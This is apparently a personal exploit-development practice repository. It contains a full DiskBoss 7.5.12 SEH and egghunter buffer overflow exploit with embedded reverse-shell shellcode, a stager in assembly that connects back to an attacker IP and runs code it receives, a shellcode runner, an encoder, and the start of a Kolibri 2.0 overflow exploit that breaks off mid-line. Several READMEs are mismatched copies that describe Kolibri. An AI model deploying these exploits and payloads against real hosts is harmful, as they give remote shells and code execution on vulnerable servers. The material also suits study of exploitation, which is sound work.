├── README.md ├── SamiFTP ├── README.md └── Sami.py ├── DiskBoss ├── README.md └── DiskBoss.py ├── Kolibri_WinXP ├── README.md └── Kolibri.py ├── EasyFileSharing ├── README.md └── EFS.py ├── Practice ├── message_box.asm ├── shellcode.py ├── stager.asm └── shellcode_with_samples.py └── Encoder ├── README.md └── encoder.py /README.md: -------------------------------------------------------------------------------- 1 | # ExploitDev 2 | Practice exploit development and misc things 3 | -------------------------------------------------------------------------------- /SamiFTP/README.md: -------------------------------------------------------------------------------- 1 | Kolibri 2.0 2 | 3 | Buffer Overflow with EIP Overwrite 4 | 5 | Based on TheLeader's contribution to exploit-db: 6 | 7 | https://www.exploit-db.com/exploits/15834/ 8 | 9 | Development write-up: 10 | 11 | https://www.chrismaddalena.com/2017/01/exploit-dev-kolibri-2-0-http-buffer-overflow 12 | -------------------------------------------------------------------------------- /DiskBoss/README.md: -------------------------------------------------------------------------------- 1 | Kolibri 2.0 2 | 3 | Buffer Overflow with EIP Overwrite 4 | 5 | Based on TheLeader's contribution to exploit-db: 6 | 7 | https://www.exploit-db.com/exploits/15834/ 8 | 9 | Development write-up: 10 | 11 | https://www.chrismaddalena.com/2017/01/exploit-dev-kolibri-2-0-http-buffer-overflow 12 | -------------------------------------------------------------------------------- /Kolibri_WinXP/README.md: -------------------------------------------------------------------------------- 1 | Kolibri 2.0 2 | 3 | Buffer Overflow with EIP Overwrite 4 | 5 | Based on TheLeader's contribution to exploit-db: 6 | 7 | https://www.exploit-db.com/exploits/15834/ 8 | 9 | Development write-up: 10 | 11 | https://www.chrismaddalena.com/2017/01/exploit-dev-kolibri-2-0-http-buffer-overflow 12 | -------------------------------------------------------------------------------- /EasyFileSharing/README.md: -------------------------------------------------------------------------------- 1 | # Easy File Sharing Web Server v7.2 2 | ## Buffer Overflow with EIP Overwrite 3 | 4 | Based on ch3rnobyl's contribution to exploit-db: 5 | 6 | https://www.exploit-db.com/exploits/40178/ 7 | 8 | Development write-up: 9 | 10 | https://www.chrismaddalena.com/2017/01/exploit-dev-easy-file-sharing-web-server-7-2-buffer-overflow/ 11 | -------------------------------------------------------------------------------- /Practice/message_box.asm: -------------------------------------------------------------------------------- 1 | [BITS 32] 2 | 3 | XOR EAX,EAX ; Zero EAX 4 | PUSH EAX ; PUSH 0 to terminate lpCaption 5 | PUSH 0x3a737961 ; PUSH "ays:" 6 | PUSH 0x73206172 ; PUSH "ra s" 7 | PUSH 0x626d6f53 ; PUSH "Somb" 8 | MOV ECX,ESP ; Save pointer to lpCaption 9 | PUSH EAX ; PUSH 0 to terminate lpText 10 | PUSH 0x706f6f42 ; PUSH "Boop" 11 | MOV EDX,ESP ; Save pointer to lpText 12 | PUSH EAX ; PUSH uType 13 | PUSH ECX ; PUSH lpCaption 14 | PUSH EDX ; PUSH lpText 15 | PUSH EAX ; PUSH hWnd 16 | MOV ESI,0x7e4507ea ; MOV ESI,USER32.MessageBoxA 17 | CALL ESI ; Execute MessageBoxA() 18 | 19 | ; Exit cleanly 20 | PUSH EAX ; PUSH 0 for ExpitProcess(0) 21 | MOV EAX,0x7c81cafa ; MOV EAX,KERNEL32.ExitProcess() 22 | JMP EAX ; Execute ExitProcess(0) 23 | -------------------------------------------------------------------------------- /Practice/shellcode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import ctypes 3 | 4 | # Insert shellcode to be tested here 5 | # Shellcode must be \x formatted 6 | # Uncomment the \xcc to enable analysis in a debugger 7 | shellcode = bytearray( 8 | # "\xcc" 9 | 10 | ) 11 | 12 | # Print the total length of the shellcode 13 | print "Total Length: ",len(shellcode) 14 | 15 | # Pause just before shellcode execution and wait for key press 16 | # Attach the debugger to Python now! 17 | debug = raw_input("Debug pause!") 18 | 19 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 20 | ctypes.c_int(len(shellcode)), 21 | ctypes.c_int(0x3000), 22 | ctypes.c_int(0x40)) 23 | 24 | buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) 25 | 26 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), 27 | buf, 28 | ctypes.c_int(len(shellcode))) 29 | 30 | ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), 31 | ctypes.c_int(0), 32 | ctypes.c_int(ptr), 33 | ctypes.c_int(0), 34 | ctypes.c_int(0), 35 | ctypes.pointer(ctypes.c_int(0))) 36 | 37 | try: 38 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1)) 39 | except Exception as err: 40 | print(err) 41 | -------------------------------------------------------------------------------- /Encoder/README.md: -------------------------------------------------------------------------------- 1 | ## PyEncoder 2 | 3 | This script encodes shellcode with SUB EAX instructions. Provide shellcode in 4 byte chunks (DWORD) and a set of good characters and the script will produce the encoded version. 4 | 5 | It is worth noting this is (sort of) a BRUTE FORCE method. It works like other encoding methods, but the script plays it fast and loose with some of the logic for the SUB instructions. 0x55 is subtracted from bad chars and 0x01 is subtracted from good chars. It works, but you may end up with more instructions than if you had done this by hand. If you are tight on space, then this could be an issue and you'll need to manually encode an instruction or two. 6 | 7 | But it works. 8 | 9 | ### The Output 10 | 11 | The script will output an encoded.asm file with all of the encoded instructions. This is suitable for use with `nasm` to create a binary file. 12 | 13 | `nasm encoded.asm -o encoded.bin` 14 | 15 | Rather than assume the script is being run on a machine with `nasm` available, this is done separately. 16 | 17 | ### Formatting Binary Instructions 18 | 19 | Once you have run `nasm` and have your binary file, you can use the script to format your binary instructions into instructions suitable for copy/pasting directly into an exploit script ("\x" format). 20 | 21 | As a bonus for this being a separate function, any binary file can be supplied. This is much like the pveReader.pl script featured in Corelan's Win32 shellcode tutorials, but it's Python. 22 | 23 | `python encoder.py --format encoded.bin` 24 | 25 | ### Sample Output 26 | 27 | This line of egghunter shellcode: 28 | 29 | >\x75\xe7\xff\xe7 30 | 31 | Becomes these decoding instructions: 32 | 33 | >AND EAX,0x554E4D4A 34 | 35 | >AND EAX,0x2A313235 36 | 37 | >SUB EAX,0x55555555 38 | 39 | >SUB EAX,0x55555501 40 | 41 | >SUB EAX,0x6d556e35 42 | 43 | >PUSH EAX 44 | 45 | Once those results are sent through `nasm` and then formatted: 46 | 47 | >\x25\x4a\x4d\x4e\x55 48 | 49 | >\x25\x35\x32\x31\x2a 50 | 51 | >\x2d\x55\x55\x55\x55 52 | 53 | >\x2d\x01\x55\x55\x55 54 | 55 | >\x2d\x35\x6e\x55\x6d 56 | 57 | >\x50 58 | -------------------------------------------------------------------------------- /Practice/stager.asm: -------------------------------------------------------------------------------- 1 | [BITS 32] 2 | 3 | ; Execute WSAStartup 4 | 5 | XOR EBX,EBX ; Zero EBX 6 | MOV BX,0x0190 ; Set lower bytes to 0x0190 7 | SUB ESP,EBX ; Subtract EBX from ESP 8 | PUSH ESP ; Push ESP for lsWSAData 9 | PUSH EBX ; Push EBX for wVersion Requested 10 | MOV EBX,0x71AB6A55 ; MOV EAX,WS2_32.WSAStartUp 11 | CALL EBX ; Call WSAStartUp 12 | 13 | ; Setup a new socket using WSASocketA 14 | ; If no error occurs, WSASocketA returns a descriptor 15 | 16 | XOR EDI,EDI ; Set EDI to NULL 17 | PUSH EDI ; Push dwFlags arg — 0 means no flags 18 | PUSH EDI ; Push g arg — 0 means no group operation 19 | PUSH EDI ; Push lpProtocolInfo arg — NULL 20 | PUSH EDI ; Push the protocol arg — 0 means no protocol specified 21 | INC EDI ; Increment EDI to 1 22 | PUSH EDI ; Push the type argument as 1 (SOCK_STREAM) 23 | INC EDI ; Increment EDI to 2 24 | PUSH EDI ; Push af argument as 2 (AF_NET) 25 | MOV EBX,0x71AB8B6A ; MOV EAX,WS2_32.WSASocketA 26 | CALL EBX ; CALL WSASocketA 27 | 28 | ; DEBUG 29 | 30 | ; MOV EBX,0x71AB3CCE ; MOV EAX,WS2_32.WSAGetLastError 31 | ; CALL EBX ; CALL WSAGetLastError 32 | 33 | ; DEBUG 34 | 35 | MOV EDI,EAX ; Save socket descriptor in EDI 36 | 37 | ; Initiate a connection with connect() 38 | 39 | PUSH 0x84C1A8C0 ; Push attacker’s IP address — 192.168.193.132 40 | MOV EAX,0x5C110102 ; Mov the port and address family attributes -- default port is 4444 41 | DEC AH ; Fix the address family attribute — make it 0x5c110002 42 | PUSH EAX ; Push port and family to stack 43 | MOV EDX,ESP ; Save the pointer to the stack in EDX 44 | XOR EAX,EAX ; Zero EAX 45 | MOV AL,0x10 ; Set the low byte of EAX to 0x10 which is the size of struct sockaddr 46 | PUSH EAX ; Push the namelen argument as 0x10 47 | PUSH EDX ; Push the name argument as the pointer to the struct sockaddr in on the stack 48 | PUSH EDI ; Push the socket descriptor returned from WSASocketA 49 | MOV EBX,0x71AB4A07 ; MOV EAX,WS2_32.connect 50 | CALL EBX ; CALL connect 51 | 52 | ; DEBUG 53 | 54 | ; MOV EBX,0x71AB3CCE ; MOV EAX,WS2_32.WSAGetLastError 55 | ; CALL EBX ; CALL WSAGetLastError 56 | 57 | ; DEBUG 58 | 59 | ; Use recv() to receive the new buffer of stage 2 shellcode 60 | 61 | INC AH ; Increment EAX to 0x0100 as connect should have returned 0 62 | INC AH ; Increment EAX to 0x1000 for 4096 63 | SUB ESP,EAX ; Allocate 4096 bytes of stack space for use in the recv call 64 | MOV EBP,ESP ; Save the pointer to the buffer in EBP 65 | XOR ECX,ECX ; Zero ECX for use as the flags argument 66 | PUSH ECX ; Push flags arg -- 0 for no flags 67 | PUSH EAX ; Push len arg -- Size of the buffer for incoming shellcode, 4096 68 | PUSH EBP ; Push buf arg -- Pointer to output buffer 69 | PUSH EDI ; Push s arg -- Descriptor returned by WSASocketA 70 | MOV EBX,0x71AB676F ; MOV EAX,WS2_32.recv 71 | CALL EBX ; CALL recv 72 | 73 | ; Jump to the stage 2 shellcode and execute 74 | 75 | JMP EBP ; Jump into the buffer that was read. 76 | -------------------------------------------------------------------------------- /DiskBoss/DiskBoss.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # Exploit Title: DiskBoss Enterprise 7.5.12 SEH + Egghunter Buffer Overflow 4 | # Date: 10-01-2017 5 | # Exploit Author: Wyndell Bibera 6 | # Software Link: http://www.diskboss.com/setups/diskbossent_setup_v7.5.12.exe 7 | # Version: 7.5.12 8 | # Tested on: Windows XP Professional SP3 9 | 10 | import socket 11 | 12 | ip = "192.168.37.131" 13 | port = 80 14 | 15 | # msfvenom -p windows/shell_reverse_tcp -b "\x00\x09\x0a\x0d\x20" LHOST=192.168.37.130 LPORT=443 -f c 16 | # Payload size: 351 bytes 17 | shellcode = ( 18 | "\x90\x90\x90\x90\x90\x90\x90\x90" 19 | "\xda\xde\xd9\x74\x24\xf4\xbd\xc9\xdb\xbb\x38\x58\x33\xc9\xb1" 20 | "\x52\x83\xe8\xfc\x31\x68\x13\x03\xa1\xc8\x59\xcd\xcd\x07\x1f" 21 | "\x2e\x2d\xd8\x40\xa6\xc8\xe9\x40\xdc\x99\x5a\x71\x96\xcf\x56" 22 | "\xfa\xfa\xfb\xed\x8e\xd2\x0c\x45\x24\x05\x23\x56\x15\x75\x22" 23 | "\xd4\x64\xaa\x84\xe5\xa6\xbf\xc5\x22\xda\x32\x97\xfb\x90\xe1" 24 | "\x07\x8f\xed\x39\xac\xc3\xe0\x39\x51\x93\x03\x6b\xc4\xaf\x5d" 25 | "\xab\xe7\x7c\xd6\xe2\xff\x61\xd3\xbd\x74\x51\xaf\x3f\x5c\xab" 26 | "\x50\x93\xa1\x03\xa3\xed\xe6\xa4\x5c\x98\x1e\xd7\xe1\x9b\xe5" 27 | "\xa5\x3d\x29\xfd\x0e\xb5\x89\xd9\xaf\x1a\x4f\xaa\xbc\xd7\x1b" 28 | "\xf4\xa0\xe6\xc8\x8f\xdd\x63\xef\x5f\x54\x37\xd4\x7b\x3c\xe3" 29 | "\x75\xda\x98\x42\x89\x3c\x43\x3a\x2f\x37\x6e\x2f\x42\x1a\xe7" 30 | "\x9c\x6f\xa4\xf7\x8a\xf8\xd7\xc5\x15\x53\x7f\x66\xdd\x7d\x78" 31 | "\x89\xf4\x3a\x16\x74\xf7\x3a\x3f\xb3\xa3\x6a\x57\x12\xcc\xe0" 32 | "\xa7\x9b\x19\xa6\xf7\x33\xf2\x07\xa7\xf3\xa2\xef\xad\xfb\x9d" 33 | "\x10\xce\xd1\xb5\xbb\x35\xb2\x79\x93\x10\xc0\x12\xe6\x5a\xc5" 34 | "\x59\x6f\xbc\xaf\x8d\x26\x17\x58\x37\x63\xe3\xf9\xb8\xb9\x8e" 35 | "\x3a\x32\x4e\x6f\xf4\xb3\x3b\x63\x61\x34\x76\xd9\x24\x4b\xac" 36 | "\x75\xaa\xde\x2b\x85\xa5\xc2\xe3\xd2\xe2\x35\xfa\xb6\x1e\x6f" 37 | "\x54\xa4\xe2\xe9\x9f\x6c\x39\xca\x1e\x6d\xcc\x76\x05\x7d\x08" 38 | "\x76\x01\x29\xc4\x21\xdf\x87\xa2\x9b\x91\x71\x7d\x77\x78\x15" 39 | "\xf8\xbb\xbb\x63\x05\x96\x4d\x8b\xb4\x4f\x08\xb4\x79\x18\x9c" 40 | "\xcd\x67\xb8\x63\x04\x2c\xc8\x29\x04\x05\x41\xf4\xdd\x17\x0c" 41 | "\x07\x08\x5b\x29\x84\xb8\x24\xce\x94\xc9\x21\x8a\x12\x22\x58" 42 | "\x83\xf6\x44\xcf\xa4\xd2" 43 | ) 44 | 45 | # 1002A66B POP POP POP RETN 46 | seh = "\x6b\xa6\x02\x10" 47 | nseh = "\xEB\x06\x90\x90" 48 | 49 | egg = "DAMCDAMC" 50 | 51 | egghunter = ( 52 | "\x90\x90\x90\x90" 53 | "\x66\x81\xca\xff" 54 | "\x0f\x42\x52\x6a" 55 | "\x02\x58\xcd\x2e" 56 | "\x3c\x05\x5a\x74" 57 | "\xef\xb8\x44\x41" 58 | "\x4d\x43\x8b\xfa" 59 | "\xaf\x75\xea\xaf" 60 | "\x75\xe7\xff\xe7" 61 | ) 62 | 63 | seh_offset = "A"*(2492 - len(nseh) - len(egg) - len(shellcode)) 64 | 65 | buffer = egg + shellcode + seh_offset + nseh + seh + egghunter + "A"*(5000 - len(seh_offset) - len(seh) - len(nseh) - len(egg) - len(egghunter) - len(shellcode)) 66 | 67 | request = ( 68 | "POST " + buffer + " HTTP/1.1\r\n" 69 | "Host: :192.168.37.131\r\n" 70 | "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n" 71 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/* ;q=0.8\r\n\r\n") 72 | 73 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 74 | s.connect((ip, port)) 75 | s.send(request) 76 | s.close() 77 | -------------------------------------------------------------------------------- /Kolibri_WinXP/Kolibri.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # Exploit Title: Kolibri v2.0 Buffer Overflow 4 | # Date: 31/1/2017 5 | # Affected Version: Kolibri-2.0 6 | # Tested on: Windows XP SP3 ENG 7 | 8 | import socket 9 | import sys 10 | from struct import pack 11 | from time import sleep 12 | from subprocess import call 13 | 14 | print "\n Kolibri v2.0 Buffer Overflow exploit" 15 | 16 | host = "" 17 | port = 8080 18 | 19 | eip_offset = 515 20 | seh_offset = 787 21 | 22 | # CALL ESP 0x7C8369F0 in kernel32.dll 23 | ret = pack('